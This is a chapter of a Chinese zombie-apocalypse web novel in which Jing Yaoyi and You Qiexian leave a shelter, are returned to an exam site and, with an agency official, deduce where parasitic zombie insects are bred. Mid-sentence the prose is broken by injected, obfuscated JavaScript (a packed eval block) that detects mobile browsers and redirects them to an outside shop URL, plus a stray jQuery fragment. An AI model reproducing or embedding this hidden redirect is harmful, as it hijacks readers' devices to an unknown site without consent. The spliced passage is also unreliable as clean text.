苏勤风再一次安抚了人群,心里不免有些担忧。
上面的指令是听尤且衔的,她自己也认为最近的情况不太正常,但是人心如果不安稳,终日在焦虑和恐惧中也不是个办法。
堡垒新的验证信息来了,这一块儿也是她负责的,她快速审核却看到了一个熟悉的名字。
见到景幺一的时候苏勤风心里很安稳,虽然他们是民众,但经历了这些事情她总觉得景幺一和尤且衔是非常厉害的人。
景幺一看到苏勤风也觉得很亲切,她问道:“苏警官,你有没有尤且衔的消息,他不回我的信息。”
苏勤风:“尤先生?他说去找你了,你们还没联系上吗?”
“去找我?”
教育会她路过已经去看了,房子她也看了没退,那要找她只有去考场。
景幺一想起考场的情况,无奈地扶了扶额。
没事,教育会线下没有要统计的意思,网络没有断开,她可以随时查看信息,这样她在哪里也就无所谓了。
刚才的打斗臧冷念不可能不知道,应该很快就会找人把她带走。
于是她安心地问:“有没有饮用水?”
十几分钟后得到消息的尤且衔风风火火地赶了回来,看到了坐在垫子上煮东西吃的景幺一。
旁边的阿婆正十分亲切地往里面“加料”:“哎呦,你吃这么一点怎么行啊,来一点菌子,再来一点青菜啊,西红柿、西红柿也来一点……”
景幺一摆手拒绝着,显然没什么用。
“阿婆,刚好再加点让小朋友们一起吃吧。”尤且衔硬生生挤了进去,把景幺一挤到一边。
阿婆看了看旁边几个聚在一起但见不到家长的小孩觉得这真是个好主意,马上揽下了做饭重任,进入到大锅饭的生产过程。
尤且衔趁机拉住景幺一的手腕往人少的地方走。
堡垒灯火通明,其实只是生活不太便利,但是都很干净,不存在生存问题。
景幺一抱着手臂:“是你鼓动的苏警官撤离群众?”
尤且衔:“聪明啊。”
这还挺好猜的,从路上的传言听着这件事主要是苏勤风在做,她相信苏警官有这个前瞻,但现在的情况确实不到开启安全区堡垒的程度,能说服上级领导也只有赌一赌粘上了自己这个异化人或者尤且衔这个例外。
虽然这样说太看得起自己,但她确实也想不到其他原因。
所以如果是因为尤且衔判断错了,她还真得去帮忙擦个屁股。
景幺一:“为什么?”
尤且衔的道理非常直白:“我哥来找我了,非有天灾人祸我哥是不会出现的,现在看来两者皆有。”
尤且衔在校一向张扬,景幺一虽然没去专门了解,但也听说了一些他家里的产业,听说在华菱的只有一部分,主家是在外面。
他的家里人她也从未见过,作为对头的几年里真的是纯作对了。
景幺一:“人祸?”
尤且衔:“我也不清楚,但其实我早就想说了,华菱丧尸潮之前的情况和现在也差不多,再加上我哥也来了,我就更加确定了。”
景幺一:“你给苏警官说了吗?”
尤且衔:“没说,我这要说了,人家不得把我当傻子。”
景幺一沉思。
如果再遇丧尸潮,未来补考的方向可能会变,无论怎样这都是一件灾难。
尤且衔却突然想起王毓的话:“对了,之前那个考官你还记得吗,陪你去医院的那个王考官。之前她找过我,我觉得你不会答应,所以本来想让她自己给你说,看情况,她也没机会说了。”
景幺一:“什么?”
尤且衔:“她让你别考研了,推荐你考异管局二部,还说如果进面,包你上岸。”
景幺一笑了下:“她居然觉得我今天能活下去。”
站在王毓和臧冷念的角度,景幺一认为她在计划里陪葬才是最好的结局。
“我要回去!”
苏勤风:“您冷静一点,生命不比什么都重要吗?”
“马上要打卡了,我必须回去!”
旁边传来争吵,景幺一刚往那边看就见一个男生拉住了那个女生的手腕。
“你别闹了好不好!”
“你懂什么,那个项目付出了我全部的心血,如果东西没了,我也不用活了!”
“地震了!没人会回去的!”
“他们都在!我查了,公司今天70%满勤!我毕业一年就被优化了,好不容易来到这个公司还是末位淘汰制,我已经受不了任何打击了!”
“你每天都这样歇斯底里有意思吗?”
“你受不了那就分手!”
“好啊,分手就分手!”
真是一场酣畅淋漓的吵架。
本来想来劝架的苏勤风也没地方下手了。
眼看女生还是要出去,经过上级的批准,实在想要出去的人可以走程序。
现在确实没什么异常,他们没有理由拦着他人。
尤且衔看了下景幺一:“不拦一下?”
景幺一:“走。”
尤且衔:“什么?”
景幺一:“申请出去。”
看时间异管局的人应该要来抓她了,继续留在那里只会让更多人知道她是丧尸,给她带来更多麻烦。
现在外面的氛围很和谐,大多数人都没把这次的事情当回事,所以也没什么纷乱。
只等了五分钟,米不丁拿着手铐就来了。
米不丁脸上有抱歉:“谅解一下,律法上袭击异管局等同袭警,样子还是要做到位的,等到了地方我绝对马上给你解开。”
两个手铐锁住,两人上了车。
尤且衔:“为什么我也要带手铐?”
米不丁开车:“景小姐把伊森兰打趴下这事儿已经传开了,再加一个你,我感觉我打不过。”
他们被送回考场。
米不丁信守承诺,到地方就给他们两个解开了手铐。
普通考场没什么变化,能回去的考生都回去了,独立考场剩下的考生都在这里了,医生带来了器械就地抢救,情况不太乐观。
她扫视了一圈,没有看到柚苧岁。
臧冷念出现在景幺一身后:“你留下的字条判断是对的,只有那个女孩有抢救成功的概率,已经被医院接走了。我知道你想说什么,他们确实上午情况就不好,医生的建议是给他们最后的安宁。
“我们确实需要诱饵,但这几位也的确是考试意愿最强烈的,我们也算是完成了他们的心愿。景幺一,让他们变成这样的是丧尸,是怪物,异管局不是敌人。”
尤且衔:“啧,他们又不会说话,你们说什么就是什么呗。”
臧冷念:“手环会替他们说。”
她握住景幺一的手腕,将她的袖子撩了起来,露出里面的手环,仔细看手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840299|211543||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
环下端还带着一层很薄的木屑。
蓝色考区为独立考区,选了这个学校最老的一个教学楼,也因为这样,他们用的桌子是木制的。
看来景幺一走的时候用了些力气把桌子表层的木皮掀了下来,离开过程中又想办法把木皮不断变小。
摘下手环或者破坏规则会被取消考试资格,这一场手环被固定在桌面于是想了这么个办法吗?
真有她的,但确实也算勉强合格。
臧冷念松手:“你和伊森兰打斗的全过程我都看了,你是怎么做到的?”
景幺一不语,似乎在考虑臧冷念怀疑的出处。
“你不太像是第一次见到科器。”
怪物物种变化太快,人类对应的科技研究也进行了几轮翻新,近十几年较为成熟的是科器的使用,科器种类很多,相当于一个物理外挂,帮助人类随时随地使用一些人类本身不具备的能力,这些同样也要搭配武器使用,如火类科器和炮弹一起出现使用感最佳。不过目前能够承受并使用科器的人类较少,除了少数权贵豢养,目前范围也只有异管局的人能熟练掌握。
大部分人都知道科器的存在,但很少有人亲眼见过。
而景幺一的表现似乎不只是亲眼见过。
虽然伊森兰收着力在打,但景幺一的招式和能力如果套上一个科器似乎没有任何不对劲。
那时候景幺一就不会是险胜了。
臧冷念这话让景幺一想起了些不愉快的回忆:“无可奉告。”
臧冷念:“好,没事,只是丧尸潮要来了,这个时间也做不了别的,我就问问,你不愿意说也罢。”
一众沉静中,尤且衔抓住了关键。
尤且衔:“丧尸潮要来了?”
虽然他也是这么推断的,但她怎么会这么肯定?
这么一看,独立考场这里就只有臧冷念和送他们来的米不丁,连个警卫都没有。还真没有要防备他们的意思。
那叫他们来就只是问问话?
臧冷念:“异管局不是吃白饭的。最近这么多事,八成就是为丧尸潮做准备,我们既然没能拦下,就只有等事情发生了。这次地震不是天灾,看地震程度应该是地下的东西在活动了。”
她的话说得也没错,极少有人能找到丧尸潮的原生地。
但是……她不能这么白等着。
她没时间等。
景幺一:“这次丧尸虫出现的频率太高了,显然原生丧尸并没有那么多,而且之前没有人发现老游的问题,证明丧尸虫的行动十分隐蔽,之前监狱里去世的那几位也有很明显的寄生属性。”
臧冷念快速接上话:“没错,如果有人想用这个潜移默化地把梅答的所有人都变成丧尸,需要时间和隐蔽性以及大量的试验品。”
臧冷念:“梅答近期的第一例丧尸虫是你发现的,说不定你能想起些什么?”
尤且衔转身:这是在挖话啊?
景幺一当然也清楚,但只要能达成目的,这一切都不重要。
时间。
隐蔽性。
试验品。
寒冷。
满足这些需要一个很少有人能注意到的地方。
除非有人刚好经过那里又刚好发现……
景幺一和尤且衔几乎同时想到。
“边郊的烂尾房。”
臧冷念推了下鼻梁上的红框眼镜,笑了:“我就觉得叫你们来没错。”